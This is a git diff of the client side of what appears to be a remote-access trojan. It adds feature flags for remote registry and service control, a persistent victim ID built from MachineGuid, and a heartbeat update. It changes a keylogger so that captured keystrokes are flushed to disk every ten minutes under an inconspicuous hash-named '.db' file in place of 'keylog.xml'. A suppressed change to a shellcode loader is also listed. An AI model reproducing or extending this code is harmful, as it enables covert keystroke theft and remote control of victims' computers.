sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1224,6 +1272,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT: {
|
case COMMAND_REGEDIT: {
|
||||||
|
if (!ENABLE_REGISTRY) {
|
||||||
|
return ResponseDisable(m_ClientObject, "REGISTRY", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1234,6 +1285,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES: {
|
case COMMAND_SERVICES: {
|
||||||
|
if (!ENABLE_SERVICE_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "SERVICE", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1578,10 +1632,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength > 8) {
|
if (ulLength > 8) {
|
||||||
uint64_t n = 0;
|
HeartbeatACK n = { 0 };
|
||||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
const int size = sizeof(HeartbeatACK);
|
||||||
// 主控心跳 ACK 只回显时间戳(不含 ProcessingMs),近似纯网络 RTT
|
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
|
||||||
int64_t rtt_ms = (int64_t)GetUnixMs() - (int64_t)n;
|
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
|
||||||
|
int64_t rtt_ms = total_rtt_ms;
|
||||||
|
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
|
||||||
|
rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
|
||||||
m_nNetPing.update_from_sample((double)rtt_ms);
|
m_nNetPing.update_from_sample((double)rtt_ms);
|
||||||
// 试用版反代理:RTT 入采样窗口。
|
// 试用版反代理:RTT 入采样窗口。
|
||||||
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
|
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
|
||||||
|
|||||||
@@ -4,6 +4,7 @@
|
|||||||
|
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
|
#include "KernelManager.h"
|
||||||
#include <tchar.h>
|
#include <tchar.h>
|
||||||
|
|
||||||
#if ENABLE_KEYBOARD
|
#if ENABLE_KEYBOARD
|
||||||
@@ -51,9 +52,12 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
clip::set_error_handler(NULL);
|
clip::set_error_handler(NULL);
|
||||||
#endif
|
#endif
|
||||||
m_bIsOfflineRecord = offline;
|
m_bIsOfflineRecord = offline;
|
||||||
|
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||||
|
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
|
||||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
std::string fileName = GetExeHashStr() + ".db";
|
||||||
|
GET_FILEPATH(path, fileName.c_str());
|
||||||
strcpy_s(m_strRecordFile, path);
|
strcpy_s(m_strRecordFile, path);
|
||||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||||
|
|
||||||
@@ -642,6 +646,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||||
HDESK desktop = NULL;
|
HDESK desktop = NULL;
|
||||||
clock_t lastCheck = 0;
|
clock_t lastCheck = 0;
|
||||||
|
auto lastSave = time(0);
|
||||||
while(pThis->m_bIsWorking) {
|
while(pThis->m_bIsWorking) {
|
||||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
@@ -651,6 +656,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Sleep(5);
|
Sleep(5);
|
||||||
|
auto tm = time(0);
|
||||||
|
if (tm - lastSave > 600) {
|
||||||
|
lastSave = tm;
|
||||||
|
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
|
||||||
|
}
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
clock_t now = clock();
|
clock_t now = clock();
|
||||||
if (now - lastCheck > 1000) {
|
if (now - lastCheck > 1000) {
|
||||||
|
|||||||
@@ -7,8 +7,6 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
|
|
||||||
#define KEYLOG_FILE "keylog.xml"
|
|
||||||
|
|
||||||
#if ENABLE_KEYBOARD==0
|
#if ENABLE_KEYBOARD==0
|
||||||
#define CKeyboardManager1 CManager
|
#define CKeyboardManager1 CManager
|
||||||
|
|
||||||
@@ -238,6 +236,9 @@ public:
|
|||||||
HANDLE m_hWorkThread,m_hSendThread;
|
HANDLE m_hWorkThread,m_hSendThread;
|
||||||
TCHAR m_strRecordFile[MAX_PATH];
|
TCHAR m_strRecordFile[MAX_PATH];
|
||||||
TextReplace m_ReplaceRule = {};
|
TextReplace m_ReplaceRule = {};
|
||||||
|
void EnableOfflineRecord(BOOL enable) {
|
||||||
|
m_bIsOfflineRecord = enable;
|
||||||
|
}
|
||||||
virtual BOOL Reconnect()
|
virtual BOOL Reconnect()
|
||||||
{
|
{
|
||||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||||
|
|||||||
@@ -247,7 +247,7 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
|||||||
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID,
|
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID,
|
||||||
// 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。
|
// 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。
|
||||||
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
|
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
|
||||||
static std::string GetMachineGuidWindows()
|
std::string GetMachineGuidWindows()
|
||||||
{
|
{
|
||||||
HKEY hKey = NULL;
|
HKEY hKey = NULL;
|
||||||
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
|
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
|
||||||
@@ -283,9 +283,9 @@ static std::string NormalizeExePathLower(const char* path)
|
|||||||
// - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。
|
// - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。
|
||||||
// - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。
|
// - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。
|
||||||
// - 一台机两份程序在不同目录 → ID 不同。
|
// - 一台机两份程序在不同目录 → ID 不同。
|
||||||
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath)
|
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth)
|
||||||
{
|
{
|
||||||
std::string s = machineGuid + "|" + normalizedPath;
|
std::string s = isAuth ? machineGuid : machineGuid + "|" + normalizedPath;
|
||||||
return XXH64(s.c_str(), s.length(), 0);
|
return XXH64(s.c_str(), s.length(), 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -313,7 +313,7 @@ BOOL IsAuthKernel(std::string &str) {
|
|||||||
return isAuthKernel;
|
return isAuthKernel;
|
||||||
}
|
}
|
||||||
|
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate)
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate, bool isAuth)
|
||||||
{
|
{
|
||||||
std::string str = expiredDate;
|
std::string str = expiredDate;
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
@@ -394,19 +394,27 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
|||||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||||
char cpuInfo[32];
|
char cpuInfo[32];
|
||||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||||
// V2 ID 算法:MachineGuid + 归一化路径
|
std::string clientID = cfg.GetStr("settings", "client_id");
|
||||||
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
if (clientID.empty()) {
|
||||||
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
// V2 ID 算法:MachineGuid + 归一化路径
|
||||||
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
||||||
std::string machineGuid = GetMachineGuidWindows();
|
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
||||||
if (!machineGuid.empty()) {
|
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||||
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf));
|
std::string machineGuid = GetMachineGuidWindows();
|
||||||
} else {
|
if (!machineGuid.empty()) {
|
||||||
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
|
||||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
} else {
|
||||||
|
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||||
|
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||||
|
}
|
||||||
|
cfg.SetStr("settings", "client_id", std::to_string(conn.clientID));
|
||||||
|
clientID = std::to_string(conn.clientID);
|
||||||
|
Mprintf("初始化此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
conn.clientID = std::stoull(clientID);
|
||||||
|
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||||
}
|
}
|
||||||
auto clientID = std::to_string(conn.clientID);
|
|
||||||
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
|
||||||
char reservedInfo[64];
|
char reservedInfo[64];
|
||||||
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||||
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||||
|
|||||||
@@ -5,7 +5,9 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"Vfw32.lib")
|
#pragma comment(lib,"Vfw32.lib")
|
||||||
|
|
||||||
|
std::string GetMachineGuidWindows();
|
||||||
|
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
|
||||||
BOOL IsAuthKernel(std::string& str);
|
BOOL IsAuthKernel(std::string& str);
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate);
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
|
||||||
DWORD CPUClockMHz();
|
DWORD CPUClockMHz();
|
||||||
BOOL WebCamIsExist();
|
BOOL WebCamIsExist();
|
||||||
|
|||||||
@@ -225,7 +225,7 @@ HDESK SelectDesktop(TCHAR* name)
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
CManager::CManager(IOCPClient* ClientObject, int n, void *p, BOOL b) : g_bExit(ClientObject->GetState())
|
||||||
{
|
{
|
||||||
m_bReady = TRUE;
|
m_bReady = TRUE;
|
||||||
m_ClientObject = ClientObject;
|
m_ClientObject = ClientObject;
|
||||||
|
|||||||
@@ -11,9 +11,7 @@
|
|||||||
|
|
||||||
#include "..\common\commands.h"
|
#include "..\common\commands.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
#include "common/config.h"
|
||||||
#define ENABLE_VSCREEN 1
|
|
||||||
#define ENABLE_KEYBOARD 1
|
|
||||||
|
|
||||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
||||||
|
|
||||||
@@ -41,7 +39,7 @@ class CManager : public IOCPManager
|
|||||||
public:
|
public:
|
||||||
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
||||||
BOOL m_bReady;
|
BOOL m_bReady;
|
||||||
CManager(IOCPClient* ClientObject);
|
CManager(IOCPClient* ClientObject, int n=0, void* p=0, BOOL b=0);
|
||||||
virtual ~CManager();
|
virtual ~CManager();
|
||||||
|
|
||||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
||||||
@@ -69,6 +67,14 @@ public:
|
|||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
static bool IsConPTYSupported() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
void EnableOfflineRecord(BOOL enable) {
|
||||||
|
}
|
||||||
|
virtual BOOL Reconnect() {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||||
|
|||||||
@@ -6,6 +6,9 @@
|
|||||||
#include "RegisterManager.h"
|
#include "RegisterManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
#if ENABLE_REGISTRY
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -56,3 +59,5 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "RegisterOperation.h"
|
#include "RegisterOperation.h"
|
||||||
|
|
||||||
|
#if ENABLE_REGISTRY==0
|
||||||
|
#define CRegisterManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CRegisterManager : public CManager
|
class CRegisterManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -20,5 +24,6 @@ public:
|
|||||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
VOID Find(char bToken, char *szPath);
|
VOID Find(char bToken, char *szPath);
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||||
|
|||||||
10329
client/SCLoader.cpp
10329
client/SCLoader.cpp
File diff suppressed because it is too large
Load Diff
@@ -13,8 +13,11 @@
|
|||||||
#include <condition_variable>
|
#include <condition_variable>
|
||||||
#include <functional>
|
#include <functional>
|
||||||
#include <future>
|
#include <future>
|
||||||
|
#include <memory>
|
||||||
#include <emmintrin.h> // SSE2
|
#include <emmintrin.h> // SSE2
|
||||||
#include "X264Encoder.h"
|
#include "common/config.h"
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "EncoderFactory.h"
|
||||||
#include "ScrollDetector.h"
|
#include "ScrollDetector.h"
|
||||||
#include "common/file_upload.h"
|
#include "common/file_upload.h"
|
||||||
|
|
||||||
@@ -126,6 +129,7 @@ public:
|
|||||||
ULONG* m_BlockSizes; // 分块差异像素数
|
ULONG* m_BlockSizes; // 分块差异像素数
|
||||||
int m_BlockNum; // 分块个数
|
int m_BlockNum; // 分块个数
|
||||||
int m_SendQuality; // 发送质量
|
int m_SendQuality; // 发送质量
|
||||||
|
int m_EncodeLevel; // 编码级别
|
||||||
|
|
||||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP信息
|
LPBITMAPINFO m_BitmapInfor_Full; // BMP信息
|
||||||
LPBITMAPINFO m_BitmapInfor_Send; // 发送的BMP信息
|
LPBITMAPINFO m_BitmapInfor_Send; // 发送的BMP信息
|
||||||
@@ -145,7 +149,13 @@ public:
|
|||||||
int m_FrameID; // 帧序号
|
int m_FrameID; // 帧序号
|
||||||
int m_GOP; // 关键帧间隔
|
int m_GOP; // 关键帧间隔
|
||||||
bool m_SendKeyFrame; // 发送关键帧
|
bool m_SendKeyFrame; // 发送关键帧
|
||||||
CX264Encoder *m_encoder; // 编码器
|
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
||||||
|
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
|
||||||
|
// false 时禁止 skip——避免单显示器路径
|
||||||
|
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
|
||||||
|
// 且被 GetFirstScreenData 预先填过同帧像素,
|
||||||
|
// 导致首帧 memcmp 错误命中、跳过 encode、
|
||||||
|
// 永远不产 IDR → web 黑屏
|
||||||
int m_nScreenCount; // 屏幕数量
|
int m_nScreenCount; // 屏幕数量
|
||||||
BOOL m_bEnableMultiScreen;// 多显示器支持
|
BOOL m_bEnableMultiScreen;// 多显示器支持
|
||||||
|
|
||||||
@@ -182,14 +192,14 @@ protected:
|
|||||||
int m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
int m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) :
|
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE, int level = LEVEL_H264_SOFT) :
|
||||||
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
|
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
|
||||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
|
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
|
||||||
m_SendKeyFrame(false), m_encoder(nullptr),
|
m_SendKeyFrame(false), m_encoder(nullptr),
|
||||||
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
||||||
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
|
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1), m_EncodeLevel(level)
|
||||||
{
|
{
|
||||||
SetAlgorithm(algo);
|
SetAlgorithm(algo);
|
||||||
m_BitmapInfor_Send = nullptr;
|
m_BitmapInfor_Send = nullptr;
|
||||||
@@ -256,7 +266,6 @@ public:
|
|||||||
SAFE_DELETE_ARRAY(m_BlockSizes);
|
SAFE_DELETE_ARRAY(m_BlockSizes);
|
||||||
|
|
||||||
SAFE_DELETE(m_ThreadPool);
|
SAFE_DELETE(m_ThreadPool);
|
||||||
SAFE_DELETE(m_encoder);
|
|
||||||
SAFE_DELETE(m_pScrollDetector);
|
SAFE_DELETE(m_pScrollDetector);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -639,11 +648,10 @@ public:
|
|||||||
// 写入算法类型
|
// 写入算法类型
|
||||||
data[0] = algo;
|
data[0] = algo;
|
||||||
|
|
||||||
// 写入光标位置
|
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||||
POINT CursorPos;
|
POINT CursorPos;
|
||||||
GetCursorPos(&CursorPos);
|
GetCursorPos(&CursorPos);
|
||||||
CursorPos.x /= m_wZoom;
|
PointConversionInverse(CursorPos);
|
||||||
CursorPos.y /= m_hZoom;
|
|
||||||
memcpy(data + 1, &CursorPos, sizeof(POINT));
|
memcpy(data + 1, &CursorPos, sizeof(POINT));
|
||||||
|
|
||||||
// 写入当前光标类型(支持自定义光标)
|
// 写入当前光标类型(支持自定义光标)
|
||||||
@@ -840,6 +848,19 @@ public:
|
|||||||
return bmpInfo;
|
return bmpInfo;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 编码器 lazy 创建。委托 EncoderFactory 完成"硬编探测 + 软编 fallback"。
|
||||||
|
void ensureEncoder(int width, int height)
|
||||||
|
{
|
||||||
|
if (m_encoder) return;
|
||||||
|
EncoderRequest req;
|
||||||
|
req.width = width;
|
||||||
|
req.height = height;
|
||||||
|
req.fps = 20;
|
||||||
|
req.bitrate_kbps = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
||||||
|
req.encodeLevel = m_EncodeLevel;
|
||||||
|
m_encoder = CreateEncoder(req);
|
||||||
|
}
|
||||||
|
|
||||||
// 算法+光标位置+光标类型
|
// 算法+光标位置+光标类型
|
||||||
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
|
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
|
||||||
{
|
{
|
||||||
@@ -851,11 +872,10 @@ public:
|
|||||||
// 写入使用了哪种算法
|
// 写入使用了哪种算法
|
||||||
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
||||||
|
|
||||||
// 写入光标位置
|
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||||
POINT CursorPos;
|
POINT CursorPos;
|
||||||
GetCursorPos(&CursorPos);
|
GetCursorPos(&CursorPos);
|
||||||
CursorPos.x /= m_wZoom;
|
PointConversionInverse(CursorPos);
|
||||||
CursorPos.y /= m_hZoom;
|
|
||||||
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
||||||
|
|
||||||
// 写入当前光标类型(支持自定义光标)
|
// 写入当前光标类型(支持自定义光标)
|
||||||
@@ -925,17 +945,17 @@ public:
|
|||||||
uint8_t* encoded_data = nullptr;
|
uint8_t* encoded_data = nullptr;
|
||||||
uint32_t encoded_size = 0;
|
uint32_t encoded_size = 0;
|
||||||
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||||
if (m_encoder == nullptr) {
|
ensureEncoder(width, height);
|
||||||
m_encoder = new CX264Encoder();
|
if (!m_encoder) return nullptr;
|
||||||
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
m_encoder->forceIDR(); // 协议层 keyframe → 编码器强制 IDR,与 TOKEN_KEYFRAME 语义对齐
|
||||||
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
|
||||||
}
|
|
||||||
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
||||||
if (err) {
|
// encoded_size == 0:硬编首帧延迟(avcodec_receive_packet 返回 EAGAIN),本帧无码流,按失败跳过
|
||||||
|
if (err || encoded_size == 0) {
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
|
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -955,17 +975,34 @@ public:
|
|||||||
uint8_t* encoded_data = nullptr;
|
uint8_t* encoded_data = nullptr;
|
||||||
uint32_t encoded_size = 0;
|
uint32_t encoded_size = 0;
|
||||||
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||||
if (m_encoder == nullptr) {
|
ensureEncoder(width, height);
|
||||||
m_encoder = new CX264Encoder();
|
if (!m_encoder) return nullptr;
|
||||||
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
// 应用层 skip 检测:硬编器(nvenc/qsv/amf/mf/av1_*)对静态画面 RC 偏弱,
|
||||||
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
|
||||||
|
// 维持 100-200 KB/s(每 4s GOP 还叠加一个 IDR)。整帧 memcmp BGRA
|
||||||
|
// 找出真无变化帧直接跳过 encode,仅发 cursor;x264 走这里也省 CPU 无副作用。
|
||||||
|
//
|
||||||
|
// m_bEncoderPrimed 门:encoder 还没产出过任何包时不允许 skip。
|
||||||
|
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full,
|
||||||
|
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
|
||||||
|
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
|
||||||
|
LPBYTE prev = GetFirstBuffer();
|
||||||
|
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||||
|
if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
|
||||||
|
*ulNextSendLength = 1 + offset; // 仅 cursor,无视频负载
|
||||||
|
return m_RectBuffer;
|
||||||
}
|
}
|
||||||
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
||||||
if (err) {
|
// encoded_size == 0:硬编首帧延迟,本帧无码流,按失败跳过
|
||||||
|
if (err || encoded_size == 0) {
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
